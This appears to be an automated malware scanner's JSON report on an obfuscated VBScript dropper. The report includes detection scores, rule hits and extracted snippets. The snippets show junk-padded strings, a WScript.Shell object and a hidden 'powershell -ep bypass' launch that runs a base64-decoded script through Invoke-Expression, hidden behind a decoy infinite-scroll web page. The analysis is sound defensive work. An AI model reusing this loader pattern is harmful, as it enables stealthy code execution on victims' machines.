{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2
      }
    ],
    "prob": 1.0,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.92214113,
        "class": 0
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9983558,
      0.99991804
    ],
    "analyzed_at": "2026-05-17T19:12:26Z"
  },
  "path": "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₃(AsCXe)H₂(Os₂Po₂)",
        "x": 113,
        "id": 0,
        "ms": {
          "file": {
            "size": 73784.0
          },
          "text": {
            "digit_ratio": 0.01,
            "space_count": 2988.0,
            "total_lines": 434.0,
            "char_entropy": 4.56,
            "unique_chars": 92.0,
            "lines_over_200": 13.0,
            "lines_over_500": 10.0,
            "avg_line_length": 168.01,
            "lines_over_1000": 10.0,
            "max_line_length": 5554.0,
            "empty_line_ratio": 0.0,
            "last_line_length": 68.0,
            "long_token_count": 20.0,
            "most_common_char": "o",
            "whitespace_ratio": 0.05,
            "most_common_ratio": 0.16,
            "line_length_stddev": 827.62,
            "repeated_char_sequences": 10.0,
            "max_inline_whitespace_run": 48.0
          }
        },
        "ss": [
          [
            2,
            "On Error Resume Next"
          ],
          [
            27,
            "amenorrheas = \"JroqdzjgmeovcozuGroqdzjgmeovcozuproqdzjgmeovcozuproqdzjgmeovcozubroqdzjgmeovcozuGroqdzjgmeovcozudroqdzjgmeovcozup"
          ],
          [
            5569,
            "amenorrheas = amenorrheas \u0026 \"dzjgmeovcozuRroqdzjgmeovcozulroqdzjgmeovcozubroqdzjgmeovcozuSroqdzjgmeovcozu5roqdzjgmeovcozuUroqdzj"
          ],
          [
            11125,
            "amenorrheas = amenorrheas \u0026 \"meovcozuproqdzjgmeovcozubroqdzjgmeovcozuGroqdzjgmeovcozuxroqdzjgmeovcozuhroqdzjgmeovcozuLroqdzjgmeo"
          ],
          [
            16680,
            "amenorrheas = amenorrheas \u0026 \"vcozuMroqdzjgmeovcozuHroqdzjgmeovcozugroqdzjgmeovcozuwroqdzjgmeovcozuMroqdzjgmeovcozuCroqdzjgmeovco"
          ],
          [
            22235,
            "amenorrheas = amenorrheas \u0026 \"zunroqdzjgmeovcozuVroqdzjgmeovcozulroqdzjgmeovcozuOroqdzjgmeovcozu2roqdzjgmeovcozuZroqdzjgmeovcozuv"
          ],
          [
            27790,
            "amenorrheas = amenorrheas \u0026 \"roqdzjgmeovcozu9roqdzjgmeovcozuJroqdzjgmeovcozuHroqdzjgmeovcozuVroqdzjgmeovcozuuroqdzjgmeovcozuaroq"
          ],
          [
            33345,
            "amenorrheas = amenorrheas \u0026 \"dzjgmeovcozuIroqdzjgmeovcozuEroqdzjgmeovcozuNroqdzjgmeovcozuvroqdzjgmeovcozubroqdzjgmeovcozuGroqdzj"
          ],
          [
            38900,
            "amenorrheas = amenorrheas \u0026 \"gmeovcozuiroqdzjgmeovcozukroqdzjgmeovcozu7roqdzjgmeovcozuJroqdzjgmeovcozuHroqdzjgmeovcozuNroqdzjgme"
          ],
          [
            44455,
            "amenorrheas = amenorrheas \u0026 \"ovcozuBroqdzjgmeovcozusroqdzjgmeovcozuYroqdzjgmeovcozuWroqdzjgmeovcozuNroqdzjgmeovcozulroqdzjgmeovc"
          ],
          [
            50010,
            "amenorrheas = amenorrheas \u0026 \"ozuvroqdzjgmeovcozucroqdzjgmeovcozumroqdzjgmeovcozu0roqdzjgmeovcozu9roqdzjgmeovcozuQroqdzjgmeovcozu"
          ],
          [
            55565,
            "amenorrheas = Replace(amenorrheas, \"roqdzjgmeovcozu\", \"\")"
          ],
          [
            55624,
            "Set hepaticologist = CreateObject(\"WScript.Shell\")"
          ],
          [
            55676,
            "Dim qpChNoNb"
          ],
          [
            55690,
            "qpChNoNb=\"                        \"\u0026vbCrLf\u0026_"
          ],
          [
            56250,
            "\"    \u003ctitle\u003eInfinite Content Scrolling\u003c/title\u003e\" \u0026 vbCrLf \u0026 _"
          ],
          [
            56329,
            "\"\u003c!-- font awesome library include 4.7 --\u003e\" \u0026 vbCrLf \u0026 _"
          ],
          [
            57095,
            "\"@import nVoosQAB('https://fonts.googleapis.com/css2?family=Inter:wght@400;700\u0026display=swap'); \" \u0026 vbCrLf \u0026 _"
          ],
          [
            57223,
            "\"/* default light theme */\" \u0026 vbCrLf \u0026 _"
          ],
          [
            57430,
            "\"  --primary-color: roqdzjgmeovcozuf45b69;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            57488,
            "\"  --secondary-color:roqdzjgmeovcozu456990;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            57752,
            "\"/* dark-mode theme */\" \u0026 vbCrLf \u0026 _"
          ],
          [
            57927,
            "\"/* main styles */\" \u0026 vbCrLf \u0026 _"
          ],
          [
            58021,
            "\"  /* background-color: var(--background-color); */\" \u0026 vbCrLf \u0026 _"
          ],
          [
            58565,
            "\"  transition: all 0.5s ease-in-out;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            58748,
            "\"  color: var(--secondary-color);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            59935,
            "\"  box-shadow: 0 2px 4px rgb(0 0 0 / 0.1);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            60480,
            "\".nVoosQAB .card-item .card-nVoosQAB nVoosQAB:last-child{\" \u0026 vbCrLf \u0026 _"
          ],
          [
            60718,
            "\"/* skeleton animation */\" \u0026 vbCrLf \u0026 _"
          ],
          [
            61318,
            "\".skeleton .card-nVoosQAB nVoosQAB{\" \u0026 vbCrLf \u0026 _"
          ],
          [
            61621,
            "\"  animation: skeleton_animation 1s ease-in-out infinite;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            61729,
            "\".skeleton .card-nVoosQAB nVoosQAB:nth-child(2){\" \u0026 vbCrLf \u0026 _"
          ],
          [
            61858,
            "\".skeleton .card-nVoosQAB nVoosQAB:last-child{\" \u0026 vbCrLf \u0026 _"
          ],
          [
            62038,
            "\"@keyframes skeleton_animation {\" \u0026 vbCrLf \u0026 _"
          ],
          [
            62681,
            "\"  \u003c/section\u003e\" \u0026 vbCrLf \u0026 _"
          ],
          [
            63098,
            "\"Infinite nVoosQAB scrolling is a design pattern that continuously loads nVoosQAB as the user scrolls \" \u0026 vbCrLf \u0026 _"
          ],
          [
            63216,
            "\"towards the end of the nVoosQAB. It avoids pagination and increases user engagement. In this example, we have \" \u0026 vbCrLf \u0026 _"
          ],
          [
            63343,
            "\"an infinite amount of quotations that loads as you continuously scroll to the end.\" \u0026 vbCrLf \u0026 _"
          ],
          [
            63549,
            "\"const nVoosQAB = document.querySelector(\"\".TOIfbkbR\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            64437,
            "\"// set up intersection nVoosQAB \" \u0026 vbCrLf \u0026 _"
          ],
          [
            64658,
            "\"let nVoosQAB = (entries, nVoosQAB) =\u003e {\" \u0026 vbCrLf \u0026 _"
          ],
          [
            64800,
            "\"    if(entry.nVoosQABntersectionRatio \u003e= 1){\" \u0026 vbCrLf \u0026 _"
          ],
          [
            64878,
            "\"      // update nVoosQAB\" \u0026 vbCrLf \u0026 _"
          ],
          [
            64980,
            "\"      console.log(nVoosQAB)\" \u0026 vbCrLf \u0026 _"
          ],
          [
            65162,
            "\"      nVoosQAB.unobserve(entry.target);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            65516,
            "\"    return new Promise((resolve, reject) =\u003e {\" \u0026 vbCrLf \u0026 _"
          ],
          [
            65746,
            "\"          response.json().then(res =\u003e {\" \u0026 vbCrLf \u0026 _"
          ],
          [
            65802,
            "\"            nVoosQAB(res.data.length);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            66251,
            "\"  return await nVoosQAB(nVoosQAB);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            66354,
            "\"// Loads a skeleton animations for each pending nVoosQAB\" \u0026 vbCrLf \u0026 _"
          ],
          [
            66481,
            "\"  const nVoosQAB = document.querySelector(\"\".nVoosQAB\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            66722,
            "\"      const nVoosQAB = document.createElement(\"\"li\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            66898,
            "\"      const nVoosQAB = document.createElement(\"\"div\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67148,
            "\"        const nVoosQAB = document.createElement(\"\"nVoosQAB\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67227,
            "\"        nVoosQAB.appendChild(nVoosQAB);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67324,
            "\"      nVoosQAB.appendChild(nVoosQAB);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67543,
            "\"// Remove skeleton animations on the nVoosQAB \" \u0026 vbCrLf \u0026 _"
          ],
          [
            67671,
            "\"  const nVoosQAB = document.querySelectorAll(\"\".skeleton\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67748,
            "\"  const nVoosQAB = nVoosQAB.length - dataAmt;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            67975,
            "\"    nVoosQAB.lastChild.remove();  \" \u0026 vbCrLf \u0026 _"
          ],
          [
            68709,
            "\"  const nVoosQAB = document.querySelectorAll(\"\".nVoosQABending\"\");\" \u0026 vbCrLf \u0026 _"
          ],
          [
            68809,
            "\"  nVoosQAB.observe(nVoosQAB[nVoosQAB.length - 1]);\" \u0026 vbCrLf \u0026 _"
          ],
          [
            68950,
            "\"    for(let nVoosQAB = 0; nVoosQAB \u003c nVoosQAB.length; nVoosQAB++){\" \u0026 vbCrLf \u0026 _"
          ],
          [
            69249,
            "\"      nVoosQAB[1].textContent = data[nVoosQAB].author;\" \u0026 vbCrLf \u0026 _"
          ],
          [
            69658,
            "\"\u003c/html\u003e\u003ca target='_blank' href='https://www.javascriptfreecode.com' style='font-size: 8pt; text-decoration: none'\u003eJavaScript Be"
          ],
          [
            69919,
            "bilberrying = \"roqdzjgmeovcozu$amenorrheasroqdzjgmeovcozu='roqdzjgmeovcozu\" \u0026 amenorrheas \u0026 \"roqdzjgmeovcozu';\""
          ],
          [
            70032,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu$Fortranlikeroqdzjgmeovcozu=roqdzjgmeovcozu\""
          ],
          [
            70122,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu[roqdzjgmeovcozuSroqdzjgmeovcozuyroqdzjgmeovcozu\""
          ],
          [
            70217,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozusroqdzjgmeovcozutroqdzjgmeovcozueroqdzjgmeovcozu\""
          ],
          [
            70312,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozumroqdzjgmeovcozu.roqdzjgmeovcozuTroqdzjgmeovcozueroqdzjgmeovcozu\""
          ],
          [
            70423,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozuxroqdzjgmeovcozutroqdzjgmeovcozu.roqdzjgmeovcozuEroqdzjgmeovcozunroqdzjgmeovcozucroq"
          ],
          [
            70582,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozudroqdzjgmeovcozuiroqdzjgmeovcozunroqdzjgmeovcozugroqdzjgmeovcozu]roqdzjgmeovcozu:roq"
          ],
          [
            70725,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu:roqdzjgmeovcozuUroqdzjgmeovcozuTroqdzjgmeovcozuFroqdzjgmeovcozu8roqdzjgmeovcozu\""
          ],
          [
            70852,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu.roqdzjgmeovcozuGroqdzjgmeovcozueroqdzjgmeovcozutroqdzjgmeovcozuSroqdzjgmeovcozu\""
          ],
          [
            70979,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozutroqdzjgmeovcozurroqdzjgmeovcozuiroqdzjgmeovcozunroqdzjgmeovcozugroqdzjgmeovcozu(roq"
          ],
          [
            71122,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu[roqdzjgmeovcozuSroqdzjgmeovcozuyroqdzjgmeovcozusroqdzjgmeovcozutroqdzjgmeovcozueroq"
          ],
          [
            71281,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu.roqdzjgmeovcozuCroqdzjgmeovcozuoroqdzjgmeovcozunroqdzjgmeovcozuvroqdzjgmeovcozueroq"
          ],
          [
            71440,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozutroqdzjgmeovcozu]roqdzjgmeovcozu:roqdzjgmeovcozu:roqdzjgmeovcozuroqdzjgmeovcozuFroqd"
          ],
          [
            71630,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozuBroqdzjgmeovcozuaroqdzjgmeovcozusroqdzjgmeovcozueroqdzjgmeovcozu6roqdzjgmeovcozu\""
          ],
          [
            71757,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozu4roqdzjgmeovcozuSroqdzjgmeovcozutroqdzjgmeovcozu\""
          ],
          [
            71852,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozurroqdzjgmeovcozuiroqdzjgmeovcozunroqdzjgmeovcozu\""
          ],
          [
            71947,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozugroqdzjgmeovcozu(roqdzjgmeovcozu$roqdzjgmeovcozuamenorrheasroqdzjgmeovcozu)roqdzjgme"
          ],
          [
            72116,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozuIroqdzjgmeovcozunroqdzjgmeovcozu\""
          ],
          [
            72195,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozuvroqdzjgmeovcozuoroqdzjgmeovcozukroqdzjgmeovcozueroqdzjgmeovcozu-roqdzjgmeovcozuEroq"
          ],
          [
            72370,
            "bilberrying = bilberrying \u0026 \"roqdzjgmeovcozurroqdzjgmeovcozueroqdzjgmeovcozusroqdzjgmeovcozusroqdzjgmeovcozuiroqdzjgmeovcozuoroq"
          ],
          [
            72572,
            "bilberrying = Replace(bilberrying, \"roqdzjgmeovcozu\", \"\")"
          ],
          [
            72631,
            "oxylipin = \"roqdzjgmeovcozuproqdzjgmeovcozuoroqdzjgmeovcozuwroqdzjgmeovcozu\""
          ],
          [
            72709,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozueroqdzjgmeovcozurroqdzjgmeovcozusroqdzjgmeovcozuhroqdzjgmeovcozueroqdzjgmeovcozu\""
          ],
          [
            72830,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozulroqdzjgmeovcozul roqdzjgmeovcozu-roqdzjgmeovcozuwroqdzjgmeovcozu\""
          ],
          [
            72936,
            "oxylipin = oxylipin \u0026 \" roqdzjgmeovcozuhroqdzjgmeovcozuiroqdzjgmeovcozudroqdzjgmeovcozudroqdzjgmeovcozueroqdzjgmeovcozu\""
          ],
          [
            73058,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozun roqdzjgmeovcozu-roqdzjgmeovcozunroqdzjgmeovcozuoroqdzjgmeovcozuproqdzjgmeovcozu\""
          ],
          [
            73180,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozurroqdzjgmeovcozuoroqdzjgmeovcozufroqdzjgmeovcozuiroqdzjgmeovcozu\""
          ],
          [
            73285,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozulroqdzjgmeovcozue roqdzjgmeovcozu-roqdzjgmeovcozueroqdzjgmeovcozu\""
          ],
          [
            73391,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozuproqdzjgmeovcozu broqdzjgmeovcozuyroqdzjgmeovcozu\""
          ],
          [
            73481,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozuproqdzjgmeovcozuaroqdzjgmeovcozusroqdzjgmeovcozu\""
          ],
          [
            73570,
            "oxylipin = oxylipin \u0026 \"roqdzjgmeovcozusroqdzjgmeovcozu -roqdzjgmeovcozucroqdzjgmeovcozu \""
          ],
          [
            73661,
            "oxylipin = Replace(oxylipin, \"roqdzjgmeovcozu\", \"\")"
          ]
        ],
        "sz": 73784,
        "ts": [
          {
            "c": 0.800000011920929,
            "d": "Small sidecar-sized file",
            "e": [
              "identifiers.total = 2.00"
            ],
            "i": "metadata/package/config::small-sidecar-file",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "ES6 const/let declarations",
            "e": [
              "let n",
              "const n"
            ],
            "i": "metadata/lang/javascript-features::const-let",
            "l": 2
          },
          {
            "c": 0.8399999737739563,
            "d": "Hidden directory path literal",
            "e": [
              ".nVoosQABending",
              ".TOIfbkbR",
              ".nVoosQAB",
              ".skeleton"
            ],
            "i": "micro-behaviors/fs/path/location::hidden-dir-literal",
            "l": 1
          },
          {
            "a": "T1056",
            "c": 0.8999999761581421,
            "d": "document.getElement*/querySelector* DOM lookup",
            "e": [
              "document.querySelector"
            ],
            "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "File is a one-liner",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-one-liner",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Tiny JavaScript sidecar loader",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "objectives/supply-chain/hidden-payload/encoding::tiny-loader-lines",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Short sidecar-sized source",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/package/config::short-sidecar-file",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Small file under 5KB",
            "e": [
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x104a2",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x10c65",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0xf83d",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x10552",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x103b1",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x10857",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0x1064c",
              "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs##plain@0xfc92"
            ],
            "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "javascript code embedded in string",
            "e": [
              "Detected javascript at offset 0x1064c",
              "Detected javascript at offset 0x103b1",
              "Detected javascript at offset 0x10552",
              "Detected javascript at offset 0xf83d",
              "Detected javascript at offset 0x104a2",
              "Detected javascript at offset 0x10c65",
              "Detected javascript at offset 0x10857",
              "Detected javascript at offset 0xfc92"
            ],
            "i": "metadata/lang/embedded::javascript",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "ES6 arrow function syntax",
            "e": [
              "=\u003e {"
            ],
            "i": "metadata/lang/javascript-features::arrow-function",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "Code uses modern JavaScript (ES6+)",
            "e": [
              "=\u003e {",
              "let n"
            ],
            "i": "metadata/lang/javascript-features::modern-javascript",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "WScript.Shell object reference",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell",
            "l": 3
          },
          {
            "c": 0.6000000238418579,
            "d": "Generates HTML tags",
            "e": [
              "\u003chtml"
            ],
            "i": "micro-behaviors/data/format/html::html-generator-tags",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 5554.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 434.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "\"to the\" doc cue",
            "e": [
              "to the"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11768",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Generates HTML content (DOCTYPE)",
            "e": [
              "\u003c!DOCTYPE html\u003e"
            ],
            "i": "micro-behaviors/data/format/html::html-generator-doctype",
            "l": 2
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "WSH creates shell object",
            "e": [
              "CreateObject(\"WScript.Shell\""
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-shell-create",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.75,
            "d": "WScript Run method",
            "e": [
              ".Run \""
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-run",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.9200000166893005,
            "d": "WSH runs hidden window",
            "e": [
              ".Run \"\"\u0026 oxylipin \u0026\"\"\"\" \u0026 bilberrying \u0026 \"\"\"\", 0"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.8500000238418579,
            "d": "WScript.Shell object creation",
            "e": [
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create",
            "l": 3
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.05"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 10.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 168.01"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.949999988079071,
            "d": "VBScript PowerShell launcher",
            "e": [
              ".Run \"",
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::vbs-powershell-launcher",
            "l": 4
          }
        ],
        "sha": "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be",
        "path": "480c50b66c031d7ef778af00b9396397aa05c2008d0d1f79ca3e0fa20eae17be.vbs",
        "type": "vbs"
      }
    ],
    "tv": "60127"
  }
}